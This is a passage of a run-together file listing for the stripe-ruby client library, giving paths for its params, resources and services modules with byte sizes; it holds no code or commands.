bytesreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_list_params.rbruns1,735 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_retrieve_params.rbruns351 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_return_inbound_transfer_params.rbruns364 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_succeed_params.rbruns350 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_cancel_params.rbruns349 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_create_params.rbruns8,664 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_fail_params.rbruns347 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_list_params.rbruns2,564 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_post_params.rbruns347 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_retrieve_params.rbruns351 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_return_outbound_payment_params.rbruns745 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_update_params.rbruns1,786 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_cancel_params.rbruns350 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_create_params.rbruns3,843 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_fail_params.rbruns348 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_list_params.rbruns1,747 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_post_params.rbruns348 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_retrieve_params.rbruns352 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_return_outbound_transfer_params.rbruns718 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_update_params.rbruns1,787 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_create_params.rbruns2,594 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_list_params.rbruns2,093 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_retrieve_params.rbruns350 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_create_params.rbruns2,595 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_list_params.rbruns1,700 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_retrieve_params.rbruns349 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/transaction_entry_list_params.rbruns3,249 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/transaction_entry_retrieve_params.rbruns352 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/transaction_list_params.rbruns3,654 bytesreference/references/stripe-ruby/lib/stripe/params/treasury/transaction_retrieve_params.rbruns347 bytesreference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_adjustment_create_params.rbruns1,045 bytesreference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_create_params.rbruns1,442 bytesreference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_session_create_params.rbruns206 bytesreference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_stream_create_params.rbruns1,751 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/account_close_params.rbruns502 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/account_create_params.rbruns98,464 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/account_link_create_params.rbruns5,838 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/account_list_params.rbruns855 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/account_retrieve_params.rbruns366 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/account_token_create_params.rbruns45,121 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/account_token_retrieve_params.rbruns200 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/account_update_params.rbruns101,669 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_create_params.rbruns20,294 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_delete_params.rbruns226 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_list_params.rbruns433 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_retrieve_params.rbruns228 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_token_create_params.rbruns19,773 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_token_retrieve_params.rbruns233 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_update_params.rbruns20,312 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_create_params.rbruns2,527 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_delete_params.rbruns202 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_disable_params.rbruns203 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_enable_params.rbruns202 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_list_params.rbruns505 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_ping_params.rbruns200 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_retrieve_params.rbruns375 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_update_params.rbruns1,374 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_list_params.rbruns1,624 bytesreference/references/stripe-ruby/lib/stripe/params/v2/core/event_retrieve_params.rbruns193 bytesreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_create_params.rbruns1,641 bytesreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_delete_params.rbruns155 bytesreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_list_params.rbruns1,268 bytesreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_retrieve_params.rbruns313 bytesreference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_update_params.rbruns1,343 bytesreference/references/stripe-ruby/lib/stripe/request_options.rbruns4,914 bytesreference/references/stripe-ruby/lib/stripe/request_params.rbruns756 bytesreference/references/stripe-ruby/lib/stripe/resources.rbruns7,314 bytesreference/references/stripe-ruby/lib/stripe/resources/account.rbruns65,302 bytesreference/references/stripe-ruby/lib/stripe/resources/account_link.rbruns1,367 bytesreference/references/stripe-ruby/lib/stripe/resources/account_session.rbruns27,790 bytesreference/references/stripe-ruby/lib/stripe/resources/alipay_account.rbruns1,097 bytesreference/references/stripe-ruby/lib/stripe/resources/apple_pay_domain.rbruns2,144 bytesreference/references/stripe-ruby/lib/stripe/resources/application.rbruns649 bytesreference/references/stripe-ruby/lib/stripe/resources/application_fee.rbruns3,174 bytesreference/references/stripe-ruby/lib/stripe/resources/application_fee_refund.rbruns2,490 bytesreference/references/stripe-ruby/lib/stripe/resources/apps/secret.rbruns3,541 bytesreference/references/stripe-ruby/lib/stripe/resources/balance.rbruns13,052 bytesreference/references/stripe-ruby/lib/stripe/resources/balance_settings.rbruns4,079 bytesreference/references/stripe-ruby/lib/stripe/resources/balance_transaction.rbruns5,798 bytesreference/references/stripe-ruby/lib/stripe/resources/bank_account.rbruns11,501 bytesreference/references/stripe-ruby/lib/stripe/resources/billing/alert.rbruns4,897 bytesreference/references/stripe-ruby/lib/stripe/resources/billing/alert_triggered.rbruns1,191 bytesreference/references/stripe-ruby/lib/stripe/resources/billing/credit_balance_summary.rbruns3,626 bytesreference/references/stripe-ruby/lib/stripe/resources/billing/credit_balance_transaction.rbruns6,212 bytesreference/references/stripe-ruby/lib/stripe/resources/billing/credit_grant.rbruns7,180 bytesreference/references/stripe-ruby/lib/stripe/resources/billing/meter.rbruns6,224 bytesreference/references/stripe-ruby/lib/stripe/resources/billing/meter_event.rbruns2,073 bytesreference/references/stripe-ruby/lib/stripe/resources/billing/meter_event_adjustment.rbruns2,000 bytesreference/references/stripe-ruby/lib/stripe/resources/billing/meter_event_summary.rbruns1,676 bytesreference/references/stripe-ruby/lib/stripe/resources/billing_portal/configuration.rbruns12,314 bytesreference/references/stripe-ruby/lib/stripe/resources/billing_portal/session.rbruns9,526 bytesreference/references/stripe-ruby/lib/stripe/resources/capability.rbruns9,243 bytesreference/references/stripe-ruby/lib/stripe/resources/card.rbruns8,952 bytesreference/references/stripe-ruby/lib/stripe/resources/cash_balance.rbruns2,451 bytesreference/references/stripe-ruby/lib/stripe/resources/charge.rbruns98,916 bytesreference/references/stripe-ruby/lib/stripe/resources/checkout/session.rbruns119,260 bytesreference/references/stripe-ruby/lib/stripe/resources/climate/order.rbruns7,473 bytesreference/references/stripe-ruby/lib/stripe/resources/climate/product.rbruns2,777 bytesreference/references/stripe-ruby/lib/stripe/resources/climate/supplier.rbruns2,136 bytesreference/references/stripe-ruby/lib/stripe/resources/confirmation_token.rbruns67,326 bytesreference/references/stripe-ruby/lib/stripe/resources/connect_collection_transfer.rbruns1,086 bytesreference/references/stripe-ruby/lib/stripe/resources/country_spec.rbruns3,419 bytesreference/references/stripe-ruby/lib/stripe/resources/coupon.rbruns6,681 bytesreference/references/stripe-ruby/lib/stripe/resources/credit_note.rbruns13,331 bytesreference/references/stripe-ruby/lib/stripe/resources/credit_note_line_item.rbruns4,536 bytesreference/references/stripe-ruby/lib/stripe/resources/customer.rbruns20,114 bytesreference/references/stripe-ruby/lib/stripe/resources/customer_balance_transaction.rbruns4,259 bytesreference/references/stripe-ruby/lib/stripe/resources/customer_cash_balance_transaction.rbruns8,819 bytesreference/references/stripe-ruby/lib/stripe/resources/customer_session.rbruns11,929 bytesreference/references/stripe-ruby/lib/stripe/resources/discount.rbruns2,908 bytesreference/references/stripe-ruby/lib/stripe/resources/dispute.rbruns22,590 bytesreference/references/stripe-ruby/lib/stripe/resources/entitlements/active_entitlement.rbruns1,442 bytesreference/references/stripe-ruby/lib/stripe/resources/entitlements/active_entitlement_summary.rbruns960 bytesreference/references/stripe-ruby/lib/stripe/resources/entitlements/feature.rbruns2,511 bytesreference/references/stripe-ruby/lib/stripe/resources/ephemeral_key.rbruns1,954 bytesreference/references/stripe-ruby/lib/stripe/resources/event.rbruns4,873 bytesreference/references/stripe-ruby/lib/stripe/resources/exchange_rate.rbruns3,202 bytesreference/references/stripe-ruby/lib/stripe/resources/file.rbruns3,368 bytesreference/references/stripe-ruby/lib/stripe/resources/file_link.rbruns2,294 bytesreference/references/stripe-ruby/lib/stripe/resources/financial_connections/account.rbruns13,761 bytesreference/references/stripe-ruby/lib/stripe/resources/financial_connections/account_owner.rbruns1,137 bytesreference/references/stripe-ruby/lib/stripe/resources/financial_connections/account_ownership.rbruns938 bytesreference/references/stripe-ruby/lib/stripe/resources/financial_connections/session.rbruns3,428 bytesreference/references/stripe-ruby/lib/stripe/resources/financial_connections/transaction.rbruns2,753 bytesreference/references/stripe-ruby/lib/stripe/resources/forwarding/request.rbruns5,983 bytesreference/references/stripe-ruby/lib/stripe/resources/funding_instructions.rbruns19,830 bytesreference/references/stripe-ruby/lib/stripe/resources/identity/verification_report.rbruns13,988 bytesreference/references/stripe-ruby/lib/stripe/resources/identity/verification_session.rbruns18,000 bytesreference/references/stripe-ruby/lib/stripe/resources/invoice.rbruns65,055 bytesreference/references/stripe-ruby/lib/stripe/resources/invoice_item.rbruns9,432 bytesreference/references/stripe-ruby/lib/stripe/resources/invoice_line_item.rbruns11,327 bytesreference/references/stripe-ruby/lib/stripe/resources/invoice_payment.rbruns4,321 bytesreference/references/stripe-ruby/lib/stripe/resources/invoice_rendering_template.rbruns3,891 bytesreference/references/stripe-ruby/lib/stripe/resources/issuing/authorization.rbruns32,467 bytesreference/references/stripe-ruby/lib/stripe/resources/issuing/card.rbruns19,367 bytesreference/references/stripe-ruby/lib/stripe/resources/issuing/cardholder.rbruns12,559 bytesreference/references/stripe-ruby/lib/stripe/resources/issuing/dispute.rbruns14,146 bytesreference/references/stripe-ruby/lib/stripe/resources/issuing/personalization_design.rbruns8,169 bytesreference/references/stripe-ruby/lib/stripe/resources/issuing/physical_bundle.rbruns2,302 bytesreference/references/stripe-ruby/lib/stripe/resources/issuing/token.rbruns7,783 bytesreference/references/stripe-ruby/lib/stripe/resources/issuing/transaction.rbruns18,452 bytesreference/references/stripe-ruby/lib/stripe/resources/line_item.rbruns3,336 bytesreference/references/stripe-ruby/lib/stripe/resources/login_link.rbruns1,273 bytesreference/references/stripe-ruby/lib/stripe/resources/mandate.rbruns12,089 bytesreference/references/stripe-ruby/lib/stripe/resources/payment_attempt_record.rbruns79,048 bytesreference/references/stripe-ruby/lib/stripe/resources/payment_intent.rbruns163,440 bytesreference/references/stripe-ruby/lib/stripe/resources/payment_intent_amount_details_line_item.rbruns4,881 bytesreference/references/stripe-ruby/lib/stripe/resources/payment_link.rbruns29,535 bytesreference/references/stripe-ruby/lib/stripe/resources/payment_method.rbruns64,786 bytesreference/references/stripe-ruby/lib/stripe/resources/payment_method_configuration.rbruns65,625 bytesreference/references/stripe-ruby/lib/stripe/resources/payment_method_domain.rbruns10,004 bytesreference/references/stripe-ruby/lib/stripe/resources/payment_record.rbruns83,990 bytesreference/references/stripe-ruby/lib/stripe/resources/payout.rbruns10,125 bytesreference/references/stripe-ruby/lib/stripe/resources/person.rbruns24,126 bytesreference/references/stripe-ruby/lib/stripe/resources/plan.rbruns7,740 bytesreference/references/stripe-ruby/lib/stripe/resources/price.rbruns12,387 bytesreference/references/stripe-ruby/lib/stripe/resources/product.rbruns6,959 bytesreference/references/stripe-ruby/lib/stripe/resources/product_feature.rbruns1,245 bytesreference/references/stripe-ruby/lib/stripe/resources/promotion_code.rbruns5,324 bytesreference/references/stripe-ruby/lib/stripe/resources/quote.rbruns28,132 bytesreference/references/stripe-ruby/lib/stripe/resources/radar/early_fraud_warning.rbruns2,131 bytesreference/references/stripe-ruby/lib/stripe/resources/radar/value_list.rbruns4,092 bytesreference/references/stripe-ruby/lib/stripe/resources/radar/value_list_item.rbruns2,932 bytesreference/references/stripe-ruby/lib/stripe/resources/recipient_transfer.rbruns135 bytesreference/references/stripe-ruby/lib/stripe/resources/refund.rbruns24,343 bytesreference/references/stripe-ruby/lib/stripe/resources/reporting/report_run.rbruns4,802 bytesreference/references/stripe-ruby/lib/stripe/resources/reporting/report_type.rbruns2,666 bytesreference/references/stripe-ruby/lib/stripe/resources/reserve_transaction.rbruns923 bytesreference/references/stripe-ruby/lib/stripe/resources/reversal.rbruns3,103 bytesreference/references/stripe-ruby/lib/stripe/resources/review.rbruns4,702 bytesreference/references/stripe-ruby/lib/stripe/resources/setup_attempt.rbruns26,045 bytesreference/references/stripe-ruby/lib/stripe/resources/setup_intent.rbruns35,630 bytesreference/references/stripe-ruby/lib/stripe/resources/shipping_rate.rbruns5,501 bytesreference/references/stripe-ruby/lib/stripe/resources/sigma/scheduled_query_run.rbruns2,517 bytesreference/references/stripe-ruby/lib/stripe/resources/source.rbruns36,166 bytesreference/references/stripe-ruby/lib/stripe/resources/source_mandate_notification.rbruns3,873 bytesreference/references/stripe-ruby/lib/stripe/resources/source_transaction.rbruns5,423 bytesreference/references/stripe-ruby/lib/stripe/resources/subscription.rbruns40,703 bytesreference/references/stripe-ruby/lib/stripe/resources/subscription_item.rbruns6,161 bytesreference/references/stripe-ruby/lib/stripe/resources/subscription_schedule.rbruns28,531 bytesreference/references/stripe-ruby/lib/stripe/resources/tax/association.rbruns2,802 bytesreference/references/stripe-ruby/lib/stripe/resources/tax/calculation.rbruns14,928 bytesreference/references/stripe-ruby/lib/stripe/resources/tax/calculation_line_item.rbruns4,799 bytesreference/references/stripe-ruby/lib/stripe/resources/tax/registration.rbruns60,806 bytesreference/references/stripe-ruby/lib/stripe/resources/tax/settings.rbruns4,593 bytesreference/references/stripe-ruby/lib/stripe/resources/tax/transaction.rbruns12,873 bytesreference/references/stripe-ruby/lib/stripe/resources/tax/transaction_line_item.rbruns2,575 bytesreference/references/stripe-ruby/lib/stripe/resources/tax_code.rbruns1,127 bytesreference/references/stripe-ruby/lib/stripe/resources/tax_deducted_at_source.rbruns950 bytesreference/references/stripe-ruby/lib/stripe/resources/tax_id.rbruns5,098 bytesreference/references/stripe-ruby/lib/stripe/resources/tax_rate.rbruns5,274 bytesreference/references/stripe-ruby/lib/stripe/resources/terminal/configuration.rbruns22,961 bytesreference/references/stripe-ruby/lib/stripe/resources/terminal/connection_token.rbruns1,655 bytesreference/references/stripe-ruby/lib/stripe/resources/terminal/location.rbruns6,066 bytesreference/references/stripe-ruby/lib/stripe/resources/terminal/onboarding_link.rbruns2,243 bytesreference/references/stripe-ruby/lib/stripe/resources/terminal/reader.rbruns33,399 bytesreference/references/stripe-ruby/lib/stripe/resources/test_helpers/test_clock.rbruns4,669 bytesreference/references/stripe-ruby/lib/stripe/resources/token.rbruns3,865 bytesreference/references/stripe-ruby/lib/stripe/resources/topup.rbruns4,268 bytesreference/references/stripe-ruby/lib/stripe/resources/transfer.rbruns4,751 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/credit_reversal.rbruns3,340 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/debit_reversal.rbruns3,776 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/financial_account.rbruns9,483 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/financial_account_features.rbruns13,934 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/inbound_transfer.rbruns12,640 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/outbound_payment.rbruns16,656 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/outbound_transfer.rbruns16,306 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/received_credit.rbruns11,592 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/received_debit.rbruns8,413 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/transaction.rbruns7,582 bytesreference/references/stripe-ruby/lib/stripe/resources/treasury/transaction_entry.rbruns7,033 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/amount.rbruns128 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event.rbruns1,841 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event_adjustment.rbruns1,804 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event_session.rbruns1,185 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/core/account.rbruns153,475 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/core/account_link.rbruns6,527 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/core/account_person.rbruns19,329 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/core/account_person_token.rbruns1,353 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/core/account_token.rbruns1,357 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/core/event.rbruns2,869 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/core/event_destination.rbruns4,220 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/core/event_notification.rbruns2,030 bytesreference/references/stripe-ruby/lib/stripe/resources/v2/deleted_object.rbruns542 bytesreference/references/stripe-ruby/lib/stripe/resources/webhook_endpoint.rbruns4,678 bytesreference/references/stripe-ruby/lib/stripe/search_result_object.rbruns2,827 bytesreference/references/stripe-ruby/lib/stripe/services.rbruns10,074 bytesreference/references/stripe-ruby/lib/stripe/services/account_capability_service.rbruns1,431 bytesreference/references/stripe-ruby/lib/stripe/services/account_external_account_service.rbruns2,495 bytesreference/references/stripe-ruby/lib/stripe/services/account_link_service.rbruns514 bytesreference/references/stripe-ruby/lib/stripe/services/account_login_link_service.rbruns672 bytesreference/references/stripe-ruby/lib/stripe/services/account_person_service.rbruns2,186 bytesreference/references/stripe-ruby/lib/stripe/services/account_service.rbruns5,033 bytesreference/references/stripe-ruby/lib/stripe/services/account_session_service.rbruns491 bytesreference/references/stripe-ruby/lib/stripe/services/apple_pay_domain_service.rbruns1,207 bytesreference/references/stripe-ruby/lib/stripe/services/application_fee_refund_service.rbruns2,538 bytesreference/references/stripe-ruby/lib/stripe/services/application_fee_service.rbruns1,048 bytesreference/references/stripe-ruby/lib/stripe/services/apps/secret_service.rbruns1,271 bytesreference/references/stripe-ruby/lib/stripe/services/apps_service.rbruns267 bytesreference/references/stripe-ruby/lib/stripe/services/balance_service.rbruns544 bytesreference/references/stripe-ruby/lib/stripe/services/balance_settings_service.rbruns897 bytesreference/references/stripe-ruby/lib/stripe/services/balance_transaction_service.rbruns1,091 bytesreference/references/stripe-ruby/lib/stripe/services/billing/alert_service.rbruns2,022 bytesreference/references/stripe-ruby/lib/stripe/services/billing/credit_balance_summary_service.rbruns469 bytesreference/references/stripe-ruby/lib/stripe/services/billing/credit_balance_transaction_service.rbruns801 bytesreference/references/stripe-ruby/lib/stripe/services/billing/credit_grant_service.rbruns1,907 bytesreference/references/stripe-ruby/lib/stripe/services/billing/meter_event_adjustment_service.rbruns458 bytesreference/references/stripe-ruby/lib/stripe/services/billing/meter_event_service.rbruns426 bytesreference/references/stripe-ruby/lib/stripe/services/billing/meter_event_summary_service.rbruns502 bytesreference/references/stripe-ruby/lib/stripe/services/billing/meter_service.rbruns2,261 bytesreference/references/stripe-ruby/lib/stripe/services/billing_portal/configuration_service.rbruns1,653 bytesreference/references/stripe-ruby/lib/stripe/services/billing_portal/session_service.rbruns443 bytesreference/references/stripe-ruby/lib/stripe/services/billing_portal_service.rbruns389 bytesreference/references/stripe-ruby/lib/stripe/services/billing_service.rbruns928 bytesreference/references/stripe-ruby/lib/stripe/services/charge_service.rbruns3,199 bytesreference/references/stripe-ruby/lib/stripe/services/checkout/session_line_item_service.rbruns677 bytesreference/references/stripe-ruby/lib/stripe/services/checkout/session_service.rbruns2,187 bytesreference/references/stripe-ruby/lib/stripe/services/checkout_service.rbruns278 bytesreference/references/stripe-ruby/lib/stripe/services/climate/order_service.rbruns2,302 bytesreference/references/stripe-ruby/lib/stripe/services/climate/product_service.rbruns785 bytesreference/references/stripe-ruby/lib/stripe/services/climate/supplier_service.rbruns768 bytesreference/references/stripe-ruby/lib/stripe/services/climate_service.rbruns427 bytesreference/references/stripe-ruby/lib/stripe/services/confirmation_token_service.rbruns509 bytesreference/references/stripe-ruby/lib/stripe/services/country_spec_service.rbruns711 bytesreference/references/stripe-ruby/lib/stripe/services/coupon_service.rbruns2,343 bytesreference/references/stripe-ruby/lib/stripe/services/credit_note_line_item_service.rbruns618 bytesreference/references/stripe-ruby/lib/stripe/services/credit_note_preview_lines_service.rbruns542 bytesreference/references/stripe-ruby/lib/stripe/services/credit_note_service.rbruns3,220 bytesreference/references/stripe-ruby/lib/stripe/services/customer_balance_transaction_service.rbruns1,951 bytesreference/references/stripe-ruby/lib/stripe/services/customer_cash_balance_service.rbruns797 bytesreference/references/stripe-ruby/lib/stripe/services/customer_cash_balance_transaction_service.rbruns1,090 bytesreference/references/stripe-ruby/lib/stripe/services/customer_funding_instructions_service.rbruns807 bytesreference/references/stripe-ruby/lib/stripe/services/customer_payment_method_service.rbruns902 bytesreference/references/stripe-ruby/lib/stripe/services/customer_payment_source_service.rbruns2,591 bytesreference/references/stripe-ruby/lib/stripe/services/customer_service.rbruns4,230 bytesreference/references/stripe-ruby/lib/stripe/services/customer_session_service.rbruns524 bytesreference/references/stripe-ruby/lib/stripe/services/customer_tax_id_service.rbruns1,484 bytesreference/references/stripe-ruby/lib/stripe/services/dispute_service.rbruns2,006 bytesreference/references/stripe-ruby/lib/stripe/services/entitlements/active_entitlement_service.rbruns790 bytesreference/references/stripe-ruby/lib/stripe/services/entitlements/feature_service.rbruns1,308 bytesreference/references/stripe-ruby/lib/stripe/services/entitlements_service.rbruns400 bytesreference/references/stripe-ruby/lib/stripe/services/ephemeral_key_service.rbruns708 bytesreference/references/stripe-ruby/lib/stripe/services/event_service.rbruns972 bytesreference/references/stripe-ruby/lib/stripe/services/exchange_rate_service.rbruns1,210 bytesreference/references/stripe-ruby/lib/stripe/services/file_link_service.rbruns1,132 bytesreference/references/stripe-ruby/lib/stripe/services/file_service.rbruns1,629 bytesreference/references/stripe-ruby/lib/stripe/services/financial_connections/account_owner_service.rbruns524 bytesreference/references/stripe-ruby/lib/stripe/services/financial_connections/account_service.rbruns2,766 bytesreference/references/stripe-ruby/lib/stripe/services/financial_connections/session_service.rbruns929 bytesreference/references/stripe-ruby/lib/stripe/services/financial_connections/transaction_service.rbruns869 bytesreference/references/stripe-ruby/lib/stripe/services/financial_connections_service.rbruns494 bytesreference/references/stripe-ruby/lib/stripe/services/forwarding/request_service.rbruns1,010 bytesreference/references/stripe-ruby/lib/stripe/services/forwarding_service.rbruns282 bytesreference/references/stripe-ruby/lib/stripe/services/identity/verification_report_service.rbruns784 bytesreference/references/stripe-ruby/lib/stripe/services/identity/verification_session_service.rbruns4,404 bytesreference/references/stripe-ruby/lib/stripe/services/identity_service.rbruns429 bytesreference/references/stripe-ruby/lib/stripe/services/invoice_item_service.rbruns2,114 bytesreference/references/stripe-ruby/lib/stripe/services/invoice_line_item_service.rbruns1,379 bytesreference/references/stripe-ruby/lib/stripe/services/invoice_payment_service.rbruns895 bytesreference/references/stripe-ruby/lib/stripe/services/invoice_rendering_template_service.rbruns1,916 bytesreference/references/stripe-ruby/lib/stripe/services/invoice_service.rbruns10,241 bytesreference/references/stripe-ruby/lib/stripe/services/issuing/authorization_service.rbruns2,937 bytesreference/references/stripe-ruby/lib/stripe/services/issuing/card_service.rbruns1,524 bytesreference/references/stripe-ruby/lib/stripe/services/issuing/cardholder_service.rbruns1,654 bytesreference/references/stripe-ruby/lib/stripe/services/issuing/dispute_service.rbruns2,561 bytesreference/references/stripe-ruby/lib/stripe/services/issuing/personalization_design_service.rbruns1,682 bytesreference/references/stripe-ruby/lib/stripe/services/issuing/physical_bundle_service.rbruns928 bytesreference/references/stripe-ruby/lib/stripe/services/issuing/token_service.rbruns1,110 bytesreference/references/stripe-ruby/lib/stripe/services/issuing/transaction_service.rbruns1,371 bytesreference/references/stripe-ruby/lib/stripe/services/issuing_service.rbruns906 bytesreference/references/stripe-ruby/lib/stripe/services/mandate_service.rbruns425 bytesreference/references/stripe-ruby/lib/stripe/services/oauth_service.rbruns2,180 bytesreference/references/stripe-ruby/lib/stripe/services/payment_attempt_record_service.rbruns750 bytesreference/references/stripe-ruby/lib/stripe/services/payment_intent_amount_details_line_item_service.rbruns495 bytesreference/references/stripe-ruby/lib/stripe/services/payment_intent_service.rbruns9,715 bytesreference/references/stripe-ruby/lib/stripe/services/payment_link_line_item_service.rbruns645 bytesreference/references/stripe-ruby/lib/stripe/services/payment_link_service.rbruns1,386 bytesreference/references/stripe-ruby/lib/stripe/services/payment_method_configuration_service.rbruns1,359 bytesreference/references/stripe-ruby/lib/stripe/services/payment_method_domain_service.rbruns2,418 bytesreference/references/stripe-ruby/lib/stripe/services/payment_method_service.rbruns3,978 bytesreference/references/stripe-ruby/lib/stripe/services/payment_record_service.rbruns3,328 bytesreference/references/stripe-ruby/lib/stripe/services/payout_service.rbruns3,335 bytesreference/references/stripe-ruby/lib/stripe/services/plan_service.rbruns1,724 bytesreference/references/stripe-ruby/lib/stripe/services/price_service.rbruns2,145 bytesreference/references/stripe-ruby/lib/stripe/services/product_feature_service.rbruns1,537 bytesreference/references/stripe-ruby/lib/stripe/services/product_service.rbruns2,689 bytesreference/references/stripe-ruby/lib/stripe/services/promotion_code_service.rbruns1,672 bytesreference/references/stripe-ruby/lib/stripe/services/quote_computed_upfront_line_items_service.rbruns741 bytesreference/references/stripe-ruby/lib/stripe/services/quote_line_item_service.rbruns597 bytesreference/references/stripe-ruby/lib/stripe/services/quote_service.rbruns2,968 bytesreference/references/stripe-ruby/lib/stripe/services/radar/early_fraud_warning_service.rbruns1,025 bytesreference/references/stripe-ruby/lib/stripe/services/radar/value_list_item_service.rbruns1,555 bytesreference/references/stripe-ruby/lib/stripe/services/radar/value_list_service.rbruns2,099 bytesreference/references/stripe-ruby/lib/stripe/services/radar_service.rbruns486 bytesreference/references/stripe-ruby/lib/stripe/services/refund_service.rbruns2,538 bytesreference/references/stripe-ruby/lib/stripe/services/reporting/report_run_service.rbruns1,207 bytesreference/references/stripe-ruby/lib/stripe/services/reporting/report_type_service.rbruns888 bytesreference/references/stripe-ruby/lib/stripe/services/reporting_service.rbruns378 bytesreference/references/stripe-ruby/lib/stripe/services/review_service.rbruns1,091 bytesreference/references/stripe-ruby/lib/stripe/services/setup_attempt_service.rbruns417 bytesreference/references/stripe-ruby/lib/stripe/services/setup_intent_service.rbruns3,805 bytesreference/references/stripe-ruby/lib/stripe/services/shipping_rate_service.rbruns1,354 bytesreference/references/stripe-ruby/lib/stripe/services/sigma/scheduled_query_run_service.rbruns843 bytesreference/references/stripe-ruby/lib/stripe/services/sigma_service.rbruns306 bytesreference/references/stripe-ruby/lib/stripe/services/source_service.rbruns2,190 bytesreference/references/stripe-ruby/lib/stripe/services/source_transaction_service.rbruns463 bytesreference/references/stripe-ruby/lib/stripe/services/subscription_item_service.rbruns1,749 bytesreference/references/stripe-ruby/lib/stripe/services/subscription_schedule_service.rbruns2,728 bytesreference/references/stripe-ruby/lib/stripe/services/subscription_service.rbruns8,438 bytesreference/references/stripe-ruby/lib/stripe/services/tax/association_service.rbruns442 bytesreference/references/stripe-ruby/lib/stripe/services/tax/calculation_line_item_service.rbruns581 bytesreference/references/stripe-ruby/lib/stripe/services/tax/calculation_service.rbruns1,006 bytesreference/references/stripe-ruby/lib/stripe/services/tax/registration_service.rbruns1,474 bytesreference/references/stripe-ruby/lib/stripe/services/tax/settings_service.rbruns766 bytesreference/references/stripe-ruby/lib/stripe/services/tax/transaction_line_item_service.rbruns563 bytesreference/references/stripe-ruby/lib/stripe/services/tax/transaction_service.rbruns1,373 